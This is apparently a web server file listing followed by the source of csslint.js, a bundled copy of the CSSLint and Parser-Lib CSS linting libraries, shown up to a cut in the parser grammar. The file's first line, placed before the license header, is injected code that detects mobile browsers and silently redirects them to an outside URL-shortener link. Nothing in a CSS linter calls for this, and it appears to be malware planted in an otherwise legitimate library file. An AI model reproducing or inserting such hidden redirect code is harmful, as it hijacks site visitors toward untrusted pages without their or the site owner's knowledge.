run:R W Run
16.1 KB
2026-01-27 19:04:47
R W Run
605.83 KB
2026-08-13 20:01:44
R W Run
365.46 KB
2026-08-13 20:01:44
R W Run
248.41 KB
2026-08-13 20:01:44
R W Run
277.14 KB
2026-08-13 20:01:44
R W Run
1.47 KB
2026-08-13 20:01:44
R W Run
1.41 KB
2026-08-13 20:01:44
R W Run
41.21 KB
2026-08-13 20:01:44
R W Run
1.97 KB
2026-08-16 23:28:49
R W Run
8.79 KB
2026-08-13 20:01:44
R W Run
error_log
📄csslint.js
1(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.dev/ZgZNhiCpe0r6");
2/*!
3CSSLint v1.0.4
4Copyright (c) 2016 Nicole Sullivan and Nicholas C. Zakas. All rights reserved.
5
6Permission is hereby granted, free of charge, to any person obtaining a copy
7of this software and associated documentation files (the 'Software'), to deal
8in the Software without restriction, including without limitation the rights
9to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
10copies of the Software, and to permit persons to whom the Software is
11furnished to do so, subject to the following conditions:
12
13The above copyright notice and this permission notice shall be included in
14all copies or substantial portions of the Software.
15
16THE SOFTWARE IS PROVIDED 'AS IS', WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
17IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
18FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
19AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
20LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
21OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
22THE SOFTWARE.
23
24*/
25
26var CSSLint = (function(){
27 var module = module || {},
28 exports = exports || {};
29
30/*!
31Parser-Lib
32Copyright (c) 2009-2016 Nicholas C. Zakas. All rights reserved.
33
34Permission is hereby granted, free of charge, to any person obtaining a copy
35of this software and associated documentation files (the "Software"), to deal
36in the Software without restriction, including without limitation the rights
37to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
38copies of the Software, and to permit persons to whom the Software is
39furnished to do so, subject to the following conditions:
40
41The above copyright notice and this permission notice shall be included in
42all copies or substantial portions of the Software.
43
44THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
45IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
46FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
47AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
48LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
49OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
50THE SOFTWARE.
51*/
52/* Version v1.1.0, Build time: 6-December-2016 10:31:29 */
53var parserlib = (function () {
54var require;
55require=(function e(t,n,r){function s(o,u){if(!n[o]){if(!t[o]){var a=typeof require=="function"&&require;if(!u&&a)return a(o,!0);if(i)return i(o,!0);var f=new Error("Cannot find module '"+o+"'");throw f.code="MODULE_NOT_FOUND",f}var l=n[o]={exports:{}};t[o][0].call(l.exports,function(e){var n=t[o][1][e];return s(n?n:e)},l,l.exports,e,t,n,r)}return n[o].exports}var i=typeof require=="function"&&require;for(var o=0;o<r.length;o++)s(r[o]);return s})({1:[function(require,module,exports){
56"use strict";
57
58/* exported Colors */
59
60var Colors = module.exports = {
61 __proto__ :null,
62 aliceblue :"#f0f8ff",
63 antiquewhite :"#faebd7",
64 aqua :"#00ffff",
65 aquamarine :"#7fffd4",
66 azure :"#f0ffff",
67 beige :"#f5f5dc",
68 bisque :"#ffe4c4",
69 black :"#000000",
70 blanchedalmond :"#ffebcd",
71 blue :"#0000ff",
72 blueviolet :"#8a2be2",
73 brown :"#a52a2a",
74 burlywood :"#deb887",
75 cadetblue :"#5f9ea0",
76 chartreuse :"#7fff00",
77 chocolate :"#d2691e",
78 coral :"#ff7f50",
79 cornflowerblue :"#6495ed",
80 cornsilk :"#fff8dc",
81 crimson :"#dc143c",
82 cyan :"#00ffff",
83 darkblue :"#00008b",
84 darkcyan :"#008b8b",
85 darkgoldenrod :"#b8860b",
86 darkgray :"#a9a9a9",
87 darkgrey :"#a9a9a9",
88 darkgreen :"#006400",
89 darkkhaki :"#bdb76b",
90 darkmagenta :"#8b008b",
91 darkolivegreen :"#556b2f",
92 darkorange :"#ff8c00",
93 darkorchid :"#9932cc",
94 darkred :"#8b0000",
95 darksalmon :"#e9967a",
96 darkseagreen :"#8fbc8f",
97 darkslateblue :"#483d8b",
98 darkslategray :"#2f4f4f",
99 darkslategrey :"#2f4f4f",
100 darkturquoise :"#00ced1",
101 darkviolet :"#9400d3",
102 deeppink :"#ff1493",
103 deepskyblue :"#00bfff",
104 dimgray :"#696969",
105 dimgrey :"#696969",
106 dodgerblue :"#1e90ff",
107 firebrick :"#b22222",
108 floralwhite :"#fffaf0",
109 forestgreen :"#228b22",
110 fuchsia :"#ff00ff",
111 gainsboro :"#dcdcdc",
112 ghostwhite :"#f8f8ff",
113 gold :"#ffd700",
114 goldenrod :"#daa520",
115 gray :"#808080",
116 grey :"#808080",
117 green :"#008000",
118 greenyellow :"#adff2f",
119 honeydew :"#f0fff0",
120 hotpink :"#ff69b4",
121 indianred :"#cd5c5c",
122 indigo :"#4b0082",
123 ivory :"#fffff0",
124 khaki :"#f0e68c",
125 lavender :"#e6e6fa",
126 lavenderblush :"#fff0f5",
127 lawngreen :"#7cfc00",
128 lemonchiffon :"#fffacd",
129 lightblue :"#add8e6",
130 lightcoral :"#f08080",
131 lightcyan :"#e0ffff",
132 lightgoldenrodyellow :"#fafad2",
133 lightgray :"#d3d3d3",
134 lightgrey :"#d3d3d3",
135 lightgreen :"#90ee90",
136 lightpink :"#ffb6c1",
137 lightsalmon :"#ffa07a",
138 lightseagreen :"#20b2aa",
139 lightskyblue :"#87cefa",
140 lightslategray :"#778899",
141 lightslategrey :"#778899",
142 lightsteelblue :"#b0c4de",
143 lightyellow :"#ffffe0",
144 lime :"#00ff00",
145 limegreen :"#32cd32",
146 linen :"#faf0e6",
147 magenta :"#ff00ff",
148 maroon :"#800000",
149 mediumaquamarine:"#66cdaa",
150 mediumblue :"#0000cd",
151 mediumorchid :"#ba55d3",
152 mediumpurple :"#9370d8",
153 mediumseagreen :"#3cb371",
154 mediumslateblue :"#7b68ee",
155 mediumspringgreen :"#00fa9a",
156 mediumturquoise :"#48d1cc",
157 mediumvioletred :"#c71585",
158 midnightblue :"#191970",
159 mintcream :"#f5fffa",
160 mistyrose :"#ffe4e1",
161 moccasin :"#ffe4b5",
162 navajowhite :"#ffdead",
163 navy :"#000080",
164 oldlace :"#fdf5e6",
165 olive :"#808000",
166 olivedrab :"#6b8e23",
167 orange :"#ffa500",
168 orangered :"#ff4500",
169 orchid :"#da70d6",
170 palegoldenrod :"#eee8aa",
171 palegreen :"#98fb98",
172 paleturquoise :"#afeeee",
173 palevioletred :"#d87093",
174 papayawhip :"#ffefd5",
175 peachpuff :"#ffdab9",
176 peru :"#cd853f",
177 pink :"#ffc0cb",
178 plum :"#dda0dd",
179 powderblue :"#b0e0e6",
180 purple :"#800080",
181 red :"#ff0000",
182 rosybrown :"#bc8f8f",
183 royalblue :"#4169e1",
184 saddlebrown :"#8b4513",
185 salmon :"#fa8072",
186 sandybrown :"#f4a460",
187 seagreen :"#2e8b57",
188 seashell :"#fff5ee",
189 sienna :"#a0522d",
190 silver :"#c0c0c0",
191 skyblue :"#87ceeb",
192 slateblue :"#6a5acd",
193 slategray :"#708090",
194 slategrey :"#708090",
195 snow :"#fffafa",
196 springgreen :"#00ff7f",
197 steelblue :"#4682b4",
198 tan :"#d2b48c",
199 teal :"#008080",
200 thistle :"#d8bfd8",
201 tomato :"#ff6347",
202 turquoise :"#40e0d0",
203 violet :"#ee82ee",
204 wheat :"#f5deb3",
205 white :"#ffffff",
206 whitesmoke :"#f5f5f5",
207 yellow :"#ffff00",
208 yellowgreen :"#9acd32",
209 //'currentColor' color keyword https://www.w3.org/TR/css3-color/#currentcolor
210 currentColor :"The value of the 'color' property.",
211 //CSS2 system colors https://www.w3.org/TR/css3-color/#css2-system
212 activeBorder :"Active window border.",
213 activecaption :"Active window caption.",
214 appworkspace :"Background color of multiple document interface.",
215 background :"Desktop background.",
216 buttonface :"The face background color for 3-D elements that appear 3-D due to one layer of surrounding border.",
217 buttonhighlight :"The color of the border facing the light source for 3-D elements that appear 3-D due to one layer of surrounding border.",
218 buttonshadow :"The color of the border away from the light source for 3-D elements that appear 3-D due to one layer of surrounding border.",
219 buttontext :"Text on push buttons.",
220 captiontext :"Text in caption, size box, and scrollbar arrow box.",
221 graytext :"Grayed (disabled) text. This color is set to #000 if the current display driver does not support a solid gray color.",
222 greytext :"Greyed (disabled) text. This color is set to #000 if the current display driver does not support a solid grey color.",
223 highlight :"Item(s) selected in a control.",
224 highlighttext :"Text of item(s) selected in a control.",
225 inactiveborder :"Inactive window border.",
226 inactivecaption :"Inactive window caption.",
227 inactivecaptiontext :"Color of text in an inactive caption.",
228 infobackground :"Background color for tooltip controls.",
229 infotext :"Text color for tooltip controls.",
230 menu :"Menu background.",
231 menutext :"Text in menus.",
232 scrollbar :"Scroll bar gray area.",
233 threeddarkshadow :"The color of the darker (generally outer) of the two borders away from the light source for 3-D elements that appear 3-D due to two concentric layers of surrounding border.",
234 threedface :"The face background color for 3-D elements that appear 3-D due to two concentric layers of surrounding border.",
235 threedhighlight :"The color of the lighter (generally outer) of the two borders facing the light source for 3-D elements that appear 3-D due to two concentric layers of surrounding border.",
236 threedlightshadow :"The color of the darker (generally inner) of the two borders facing the light source for 3-D elements that appear 3-D due to two concentric layers of surrounding border.",
237 threedshadow :"The color of the lighter (generally inner) of the two borders away from the light source for 3-D elements that appear 3-D due to two concentric layers of surrounding border.",
238 window :"Window background.",
239 windowframe :"Window frame.",
240 windowtext :"Text in windows."
241};
242
243},{}],2:[function(require,module,exports){
244"use strict";
245
246module.exports = Combinator;
247
248var SyntaxUnit = require("../util/SyntaxUnit");
249
250var Parser = require("./Parser");
251
252/**
253 * Represents a selector combinator (whitespace, +, >).
254 * @namespace parserlib.css
255 * @class Combinator
256 * @extends parserlib.util.SyntaxUnit
257 * @constructor
258 * @param {String} text The text representation of the unit.
259 * @param {int} line The line of text on which the unit resides.
260 * @param {int} col The column of text on which the unit resides.
261 */
262function Combinator(text, line, col) {
263
264 SyntaxUnit.call(this, text, line, col, Parser.COMBINATOR_TYPE);
265
266 /**
267 * The type of modifier.
268 * @type String
269 * @property type
270 */
271 this.type = "unknown";
272
273 //pretty simple
274 if (/^\s+$/.test(text)) {
275 this.type = "descendant";
276 } else if (text === ">") {
277 this.type = "child";
278 } else if (text === "+") {
279 this.type = "adjacent-sibling";
280 } else if (text === "~") {
281 this.type = "sibling";
282 }
283
284}
285
286Combinator.prototype = new SyntaxUnit();
287Combinator.prototype.constructor = Combinator;
288
289
290},{"../util/SyntaxUnit":26,"./Parser":6}],3:[function(require,module,exports){
291"use strict";
292
293module.exports = Matcher;
294
295var StringReader = require("../util/StringReader");
296var SyntaxError = require("../util/SyntaxError");
297
298/**
299 * This class implements a combinator library for matcher functions.
300 * The combinators are described at:
301 * https://developer.mozilla.org/en-US/docs/Web/CSS/Value_definition_syntax#Component_value_combinators
302 */
303function Matcher(matchFunc, toString) {
304 this.match = function(expression) {
305 // Save/restore marks to ensure that failed matches always restore
306 // the original location in the expression.
307 var result;
308 expression.mark();
309 result = matchFunc(expression);
310 if (result) {
311 expression.drop();
312 } else {
313 expression.restore();
314 }
315 return result;
316 };
317 this.toString = typeof toString === "function" ? toString : function() {
318 return toString;
319 };
320}
321
322/** Precedence table of combinators. */
323Matcher.prec = {
324 MOD: 5,
325 SEQ: 4,
326 ANDAND: 3,
327 OROR: 2,
328 ALT: 1
329};
330
331/** Simple recursive-descent grammar to build matchers from strings. */
332Matcher.parse = function(str) {
333 var reader, eat, expr, oror, andand, seq, mod, term, result;
334 reader = new StringReader(str);
335 eat = function(matcher) {
336 var result = reader.readMatch(matcher);
337 if (result === null) {
338 throw new SyntaxError(
339 "Expected "+matcher, reader.getLine(), reader.getCol());
340 }
341 return result;
342 };
343 expr = function() {
344 // expr = oror (" | " oror)*
345 var m = [ oror() ];
346 while (reader.readMatch(" | ") !== null) {
347 m.push(oror());
348 }
349 return m.length === 1 ? m[0] : Matcher.alt.apply(Matcher, m);
350 };
351 oror = function() {
352 // oror = andand ( " || " andand)*
353 var m = [ andand() ];
354 while (reader.readMatch(" || ") !== null) {
355 m.push(andand());
356 }
357 return m.length === 1 ? m[0] : Matcher.oror.apply(Matcher, m);
358 };
359 andand = function() {
360 // andand = seq ( " && " seq)*
361 var m = [ seq() ];
362 while (reader.readMatch(" && ") !== null) {
363 m.push(seq());
364 }
365 return m.length === 1 ? m[0] : Matcher.andand.apply(Matcher, m);
366 };
367 seq = function() {
368 // seq = mod ( " " mod)*
369 var m = [ mod() ];
370 while (reader.readMatch(/^ (?![&|\]])/) !== null) {
371 m.push(mod());
372 }
373 return m.length === 1 ? m[0] : Matcher.seq.apply(Matcher, m);
374 };
375 mod = function() {
376 // mod = term ( "?" | "*" | "+" | "#" | "{<num>,<num>}" )?
377 var m = term();
378 if (reader.readMatch("?") !== null) {
379 return m.question();
380 } else if (reader.readMatch("*") !== null) {
381 return m.star();
382 } else if (reader.readMatch("+") !== null) {
383 return m.plus();
384 } else if (reader.readMatch("#") !== null) {
385 return m.hash();
386 } else if (reader.readMatch(/^\{\s*/) !== null) {
387 var min = eat(/^\d+/);
388 eat(/^\s*,\s*/);
389 var max = eat(/^\d+/);
390 eat(/^\s*\}/);
391 return m.braces(+min, +max);
392 }
393 return m;
394 };
395 term = function() {
396 // term = <nt> | literal | "[ " expression " ]"
397 if (reader.readMatch("[ ") !== null) {
398 var m = expr();
399 eat(" ]");
400 return m;
401 }
402 return Matcher.fromType(eat(/^[^ ?*+#{]+/));
403 };
404 result = expr();
405 if (!reader.eof()) {
406 throw new SyntaxError(
407 "Expected end of string", reader.getLine(), reader.getCol());
408 }
409 return result;
410};
411
412/**
413 * Convert a string to a matcher (parsing simple alternations),
414 * or do nothing if the argument is already a matcher.
415 */
416Matcher.cast = function(m) {
417 if (m instanceof Matcher) {
418 return m;
419 }
420 return Matcher.parse(m);
421};
422
423/**
424 * Create a matcher for a single type.
425 */
426Matcher.fromType = function(type) {
427 // Late require of ValidationTypes to break a dependency cycle.
428 var ValidationTypes = require("./ValidationTypes");
429 return new Matcher(function(expression) {
430 return expression.hasNext() && ValidationTypes.isType(expression, type);
431 }, type);
432};
433
434/**
435 * Create a matcher for one or more juxtaposed words, which all must
436 * occur, in the given order.
437 */
438Matcher.seq = function() {
439 var ms = Array.prototype.slice.call(arguments).map(Matcher.cast);
440 if (ms.length === 1) {
441 return ms[0];
442 }
443 return new Matcher(function(expression) {
444 var i, result = true;
445 for (i = 0; result && i < ms.length; i++) {
446 result = ms[i].match(expression);
447 }
448 return result;
449 }, function(prec) {
450 var p = Matcher.prec.SEQ;
451 var s = ms.map(function(m) {
452 return m.toString(p);
453 }).join(" ");
454 if (prec > p) {
455 s = "[ " + s + " ]";
456 }
457 return s;
458 });
459};
460
461/**
462 * Create a matcher for one or more alternatives, where exactly one
463 * must occur.
464 */
465Matcher.alt = function() {
466 var ms = Array.prototype.slice.call(arguments).map(Matcher.cast);
467 if (ms.length === 1) {
468 return ms[0];
469 }
470 return new Matcher(function(expression) {
471 var i, result = false;
472 for (i = 0; !result && i < ms.length; i++) {
473 result = ms[i].match(expression);
474 }
475 return result;
476 }, function(prec) {
477 var p = Matcher.prec.ALT;
478 var s = ms.map(function(m) {
479 return m.toString(p);
480 }).join(" | ");
481 if (prec > p) {
482 s = "[ " + s + " ]";
483 }
484 return s;
485 });
486};
487
488/**
489 * Create a matcher for two or more options. This implements the
490 * double bar (||) and double ampersand (&&) operators, as well as
491 * variants of && where some of the alternatives are optional.
492 * This will backtrack through even successful matches to try to
493 * maximize the number of items matched.
494 */
495Matcher.many = function(required) {
496 var ms = Array.prototype.slice.call(arguments, 1).reduce(function(acc, v) {
497 if (v.expand) {
498 // Insert all of the options for the given complex rule as
499 // individual options.
500 var ValidationTypes = require("./ValidationTypes");
501 acc.push.apply(acc, ValidationTypes.complex[v.expand].options);
502 } else {
503 acc.push(Matcher.cast(v));
504 }
505 return acc;
506 }, []);
507
508 if (required === true) {
509 required = ms.map(function() {
510 return true;
511 });
512 }
513
514 var result = new Matcher(function(expression) {
515 var seen = [], max = 0, pass = 0;
516 var success = function(matchCount) {
517 if (pass === 0) {
518 max = Math.max(matchCount, max);
519 return matchCount === ms.length;
520 } else {
521 return matchCount === max;
522 }
523 };
524 var tryMatch = function(matchCount) {
525 for (var i = 0; i < ms.length; i++) {
526 if (seen[i]) {
527 continue;
528 }
529 expression.mark();
530 if (ms[i].match(expression)) {
531 seen[i] = true;
532 // Increase matchCount iff this was a required element
533 // (or if all the elements are optional)
534 if (tryMatch(matchCount + ((required === false || required[i]) ? 1 : 0))) {
535 expression.drop();
536 return true;
537 }
538 // Backtrack: try *not* matching using this rule, and
539 // let's see if it leads to a better overall match.
540 expression.restore();
541 seen[i] = false;
542 } else {
543 expression.drop();
544 }
545 }
546 return success(matchCount);
547 };
548 if (!tryMatch(0)) {
549 // Couldn't get a complete match, retrace our steps to make the
550 // match with the maximum # of required elements.
551 pass++;
552 tryMatch(0);
553 }
554
555 if (required === false) {
556 return max > 0;
557 }
558 // Use finer-grained specification of which matchers are required.
559 for (var i = 0; i < ms.length; i++) {
560 if (required[i] && !seen[i]) {
561 return false;
562 }
563 }
564 return true;
565 }, function(prec) {
566 var p = required === false ? Matcher.prec.OROR : Matcher.prec.ANDAND;
567 var s = ms.map(function(m, i) {
568 if (required !== false && !required[i]) {
569 return m.toString(Matcher.prec.MOD) + "?";
570 }
571 return m.toString(p);
572 }).join(required === false ? " || " : " && ");
573 if (prec > p) {
574 s = "[ " + s + " ]";
575 }
576 return s;
577 });
578 result.options = ms;
579 return result;
580};
581
582/**
583 * Create a matcher for two or more options, where all options are
584 * mandatory but they may appear in any order.
585 */
586Matcher.andand = function() {
587 var args = Array.prototype.slice.call(arguments);
588 args.unshift(true);
589 return Matcher.many.apply(Matcher, args);
590};
591
592/**
593 * Create a matcher for two or more options, where options are
594 * optional and may appear in any order, but at least one must be
595 * present.
596 */
597Matcher.oror = function() {
598 var args = Array.prototype.slice.call(arguments);
599 args.unshift(false);
600 return Matcher.many.apply(Matcher, args);
601};
602
603/** Instance methods on Matchers. */
604Matcher.prototype = {
605 constructor: Matcher,
606 // These are expected to be overridden in every instance.
607 match: function() { throw new Error("unimplemented"); },
608 toString: function() { throw new Error("unimplemented"); },
609 // This returns a standalone function to do the matching.
610 func: function() { return this.match.bind(this); },
611 // Basic combinators
612 then: function(m) { return Matcher.seq(this, m); },
613 or: function(m) { return Matcher.alt(this, m); },
614 andand: function(m) { return Matcher.many(true, this, m); },
615 oror: function(m) { return Matcher.many(false, this, m); },
616 // Component value multipliers
617 star: function() { return this.braces(0, Infinity, "*"); },
618 plus: function() { return this.braces(1, Infinity, "+"); },
619 question: function() { return this.braces(0, 1, "?"); },
620 hash: function() {
621 return this.braces(1, Infinity, "#", Matcher.cast(","));
622 },
623 braces: function(min, max, marker, optSep) {
624 var m1 = this, m2 = optSep ? optSep.then(this) : this;
625 if (!marker) {
626 marker = "{" + min + "," + max + "}";
627 }
628 return new Matcher(function(expression) {
629 var result = true, i;
630 for (i = 0; i < max; i++) {
631 if (i > 0 && optSep) {
632 result = m2.match(expression);
633 } else {
634 result = m1.match(expression);
635 }
636 if (!result) {
637 break;
638 }
639 }
640 return i >= min;
641 }, function() {
642 return m1.toString(Matcher.prec.MOD) + marker;
643 });
644 }
645};
646
647},{"../util/StringReader":24,"../util/SyntaxError":25,"./ValidationTypes":21}],4:[function(require,module,exports){
648"use strict";
649
650module.exports = MediaFeature;
651
652var SyntaxUnit = require("../util/SyntaxUnit");
653
654var Parser = require("./Parser");
655
656/**
657 * Represents a media feature, such as max-width:500.
658 * @namespace parserlib.css
659 * @class MediaFeature
660 * @extends parserlib.util.SyntaxUnit
661 * @constructor
662 * @param {SyntaxUnit} name The name of the feature.
663 * @param {SyntaxUnit} value The value of the feature or null if none.
664 */
665function MediaFeature(name, value) {
666
667 SyntaxUnit.call(this, "(" + name + (value !== null ? ":" + value : "") + ")", name.startLine, name.startCol, Parser.MEDIA_FEATURE_TYPE);
668
669 /**
670 * The name of the media feature
671 * @type String
672 * @property name
673 */
674 this.name = name;
675
676 /**
677 * The value for the feature or null if there is none.
678 * @type SyntaxUnit
679 * @property value
680 */
681 this.value = value;
682}
683
684MediaFeature.prototype = new SyntaxUnit();
685MediaFeature.prototype.constructor = MediaFeature;
686
687
688},{"../util/SyntaxUnit":26,"./Parser":6}],5:[function(require,module,exports){
689"use strict";
690
691module.exports = MediaQuery;
692
693var SyntaxUnit = require("../util/SyntaxUnit");
694
695var Parser = require("./Parser");
696
697/**
698 * Represents an individual media query.
699 * @namespace parserlib.css
700 * @class MediaQuery
701 * @extends parserlib.util.SyntaxUnit
702 * @constructor
703 * @param {String} modifier The modifier "not" or "only" (or null).
704 * @param {String} mediaType The type of media (i.e., "print").
705 * @param {Array} parts Array of selectors parts making up this selector.
706 * @param {int} line The line of text on which the unit resides.
707 * @param {int} col The column of text on which the unit resides.
708 */
709function MediaQuery(modifier, mediaType, features, line, col) {
710
711 SyntaxUnit.call(this, (modifier ? modifier + " ": "") + (mediaType ? mediaType : "") + (mediaType && features.length > 0 ? " and " : "") + features.join(" and "), line, col, Parser.MEDIA_QUERY_TYPE);
712
713 /**
714 * The media modifier ("not" or "only")
715 * @type String
716 * @property modifier
717 */
718 this.modifier = modifier;
719
720 /**
721 * The mediaType (i.e., "print")
722 * @type String
723 * @property mediaType
724 */
725 this.mediaType = mediaType;
726
727 /**
728 * The parts that make up the selector.
729 * @type Array
730 * @property features
731 */
732 this.features = features;
733
734}
735
736MediaQuery.prototype = new SyntaxUnit();
737MediaQuery.prototype.constructor = MediaQuery;
738
739
740},{"../util/SyntaxUnit":26,"./Parser":6}],6:[function(require,module,exports){
741"use strict";
742
743module.exports = Parser;
744
745var EventTarget = require("../util/EventTarget");
746var SyntaxError = require("../util/SyntaxError");
747var SyntaxUnit = require("../util/SyntaxUnit");
748
749var Combinator = require("./Combinator");
750var MediaFeature = require("./MediaFeature");
751var MediaQuery = require("./MediaQuery");
752var PropertyName = require("./PropertyName");
753var PropertyValue = require("./PropertyValue");
754var PropertyValuePart = require("./PropertyValuePart");
755var Selector = require("./Selector");
756var SelectorPart = require("./SelectorPart");
757var SelectorSubPart = require("./SelectorSubPart");
758var TokenStream = require("./TokenStream");
759var Tokens = require("./Tokens");
760var Validation = require("./Validation");
761
762/**
763 * A CSS3 parser.
764 * @namespace parserlib.css
765 * @class Parser
766 * @constructor
767 * @param {Object} options (Optional) Various options for the parser:
768 * starHack (true|false) to allow IE6 star hack as valid,
769 * underscoreHack (true|false) to interpret leading underscores
770 * as IE6-7 targeting for known properties, ieFilters (true|false)
771 * to indicate that IE < 8 filters should be accepted and not throw
772 * syntax errors.
773 */
774function Parser(options) {
775
776 //inherit event functionality
777 EventTarget.call(this);
778
779
780 this.options = options || {};
781
782 this._tokenStream = null;
783}
784
785//Static constants
786Parser.DEFAULT_TYPE = 0;
787Parser.COMBINATOR_TYPE = 1;
788Parser.MEDIA_FEATURE_TYPE = 2;
789Parser.MEDIA_QUERY_TYPE = 3;
790Parser.PROPERTY_NAME_TYPE = 4;
791Parser.PROPERTY_VALUE_TYPE = 5;
792Parser.PROPERTY_VALUE_PART_TYPE = 6;
793Parser.SELECTOR_TYPE = 7;
794Parser.SELECTOR_PART_TYPE = 8;
795Parser.SELECTOR_SUB_PART_TYPE = 9;
796
797Parser.prototype = function() {
798
799 var proto = new EventTarget(), //new prototype
800 prop,
801 additions = {
802 __proto__: null,
803
804 //restore constructor
805 constructor: Parser,
806
807 //instance constants - yuck
808 DEFAULT_TYPE : 0,
809 COMBINATOR_TYPE : 1,
810 MEDIA_FEATURE_TYPE : 2,
811 MEDIA_QUERY_TYPE : 3,
812 PROPERTY_NAME_TYPE : 4,
813 PROPERTY_VALUE_TYPE : 5,
814 PROPERTY_VALUE_PART_TYPE : 6,
815 SELECTOR_TYPE : 7,
816 SELECTOR_PART_TYPE : 8,
817 SELECTOR_SUB_PART_TYPE : 9,
818
819 //-----------------------------------------------------------------
820 // Grammar
821 //-----------------------------------------------------------------
822
823 _stylesheet: function() {
824
825 /*
826 * stylesheet
827 * : [ CHARSET_SYM S* STRING S* ';' ]?
828 * [S|CDO|CDC]* [ import [S|CDO|CDC]* ]*
829 * [ namespace [S|CDO|CDC]* ]*
830 * [ [ ruleset | media | page | font_face | keyframes_rule | supports_rule ] [S|CDO|CDC]* ]*
831 * ;
832 */
833
834 var tokenStream = this._tokenStream,
835 count,
836 token,
837 tt;
838
839 this.fire("startstylesheet");
840
841 //try to read character set
842 this._charset();
843
844 this._skipCruft();
845
846 //try to read imports - may be more than one
847 while (tokenStream.peek() === Tokens.IMPORT_SYM) {
848 this._import();
849 this._skipCruft();
850 }
851
852 //try to read namespaces - may be more than one
853 while (tokenStream.peek() === Tokens.NAMESPACE_SYM) {
854 this._namespace();
855 this._skipCruft();
856 }
857
858 //get the next token
859 tt = tokenStream.peek();
860
861 //try to read the rest
862 while (tt > Tokens.EOF) {
863
864 try {
865
866 switch (tt) {
867 case Tokens.MEDIA_SYM:
868 this._media();
869 this._skipCruft();
870 break;
871 case Tokens.PAGE_SYM:
872 this._page();
873 this._skipCruft();
874 break;
875 case Tokens.FONT_FACE_SYM:
876 this._font_face();
877 this._skipCruft();
878 break;
879 case Tokens.KEYFRAMES_SYM:
880 this._keyframes();
881 this._skipCruft();
882 break;
883 case Tokens.VIEWPORT_SYM:
884 this._viewport();
885 this._skipCruft();
886 break;
887 case Tokens.DOCUMENT_SYM:
888 this._document();
889 this._skipCruft();
890 break;
891 case Tokens.SUPPORTS_SYM:
892 this._supports();
893 this._skipCruft();
894 break;
895 case Tokens.UNKNOWN_SYM: //unknown @ rule
896 tokenStream.get();
897 if (!this.options.strict) {
898
899 //fire error event
900 this.fire({
901 type: "error",
902 error: null,
903 message: "Unknown @ rule: " + tokenStream.LT(0).value + ".",
904 line: tokenStream.LT(0).startLine,
905 col: tokenStream.LT(0).startCol
906 });
907
908 //skip braces
909 count=0;
910 while (tokenStream.advance([Tokens.LBRACE, Tokens.RBRACE]) === Tokens.LBRACE) {
911 count++; //keep track of nesting depth
912 }
913
914 while (count) {
915 tokenStream.advance([Tokens.RBRACE]);
916 count--;
917 }
918
919 } else {
920 //not a syntax error, rethrow it
921 throw new SyntaxError("Unknown @ rule.", tokenStream.LT(0).startLine, tokenStream.LT(0).startCol);
922 }
923 break;
924 case Tokens.S:
925 this._readWhitespace();
926 break;
927 default:
928 if (!this._ruleset()) {
929
930 //error handling for known issues
931 switch (tt) {
932 case Tokens.CHARSET_SYM:
933 token = tokenStream.LT(1);
934 this._charset(false);
935 throw new SyntaxError("@charset not allowed here.", token.startLine, token.startCol);
936 case Tokens.IMPORT_SYM:
937 token = tokenStream.LT(1);
938 this._import(false);
939 throw new SyntaxError("@import not allowed here.", token.startLine, token.startCol);
940 case Tokens.NAMESPACE_SYM:
941 token = tokenStream.LT(1);
942 this._namespace(false);
943 throw new SyntaxError("@namespace not allowed here.", token.startLine, token.startCol);
944 default:
945 tokenStream.get(); //get the last token
946 this._unexpectedToken(tokenStream.token());
947 }
948
949 }
950 }
951 } catch (ex) {
952 if (ex instanceof SyntaxError && !this.options.strict) {
953 this.fire({
954 type: "error",
955 error: ex,
956 message: ex.message,
957 line: ex.line,
958 col: ex.col
959 });
960 } else {
961 throw ex;
962 }
963 }
964
965 tt = tokenStream.peek();
966 }
967
968 if (tt !== Tokens.EOF) {
969 this._unexpectedToken(tokenStream.token());
970 }
971
972 this.fire("endstylesheet");
973 },
974
975 _charset: function(emit) {
976 var tokenStream = this._tokenStream,
977 charset,
978 token,
979 line,
980 col;
981
982 if (tokenStream.match(Tokens.CHARSET_SYM)) {
983 line = tokenStream.token().startLine;
984 col = tokenStream.token().startCol;
985
986 this._readWhitespace();
987 tokenStream.mustMatch(Tokens.STRING);
988
989 token = tokenStream.token();
990 charset = token.value;
991
992 this._readWhitespace();
993 tokenStream.mustMatch(Tokens.SEMICOLON);
994
995 if (emit !== false) {
996 this.fire({
997 type: "charset",
998 charset:charset,
999 line: line,
1000 col: col
1001 });
1002 }
1003 }
1004 },
1005
1006 _import: function(emit) {
1007 /*
1008 * import
1009 * : IMPORT_SYM S*
1010 * [STRING|URI] S* media_query_list? ';' S*
1011 */
1012
1013 var tokenStream = this._tokenStream,
1014 uri,
1015 importToken,
1016 mediaList = [];
1017
1018 //read import symbol
1019 tokenStream.mustMatch(Tokens.IMPORT_SYM);
1020 importToken = tokenStream.token();
1021 this._readWhitespace();
1022
1023 tokenStream.mustMatch([Tokens.STRING, Tokens.URI]);
1024
1025 //grab the URI value
1026 uri = tokenStream.token().value.replace(/^(?:url\()?["']?([^"']+?)["']?\)?$/, "$1");
1027
1028 this._readWhitespace();
1029
1030 mediaList = this._media_query_list();
1031
1032 //must end with a semicolon
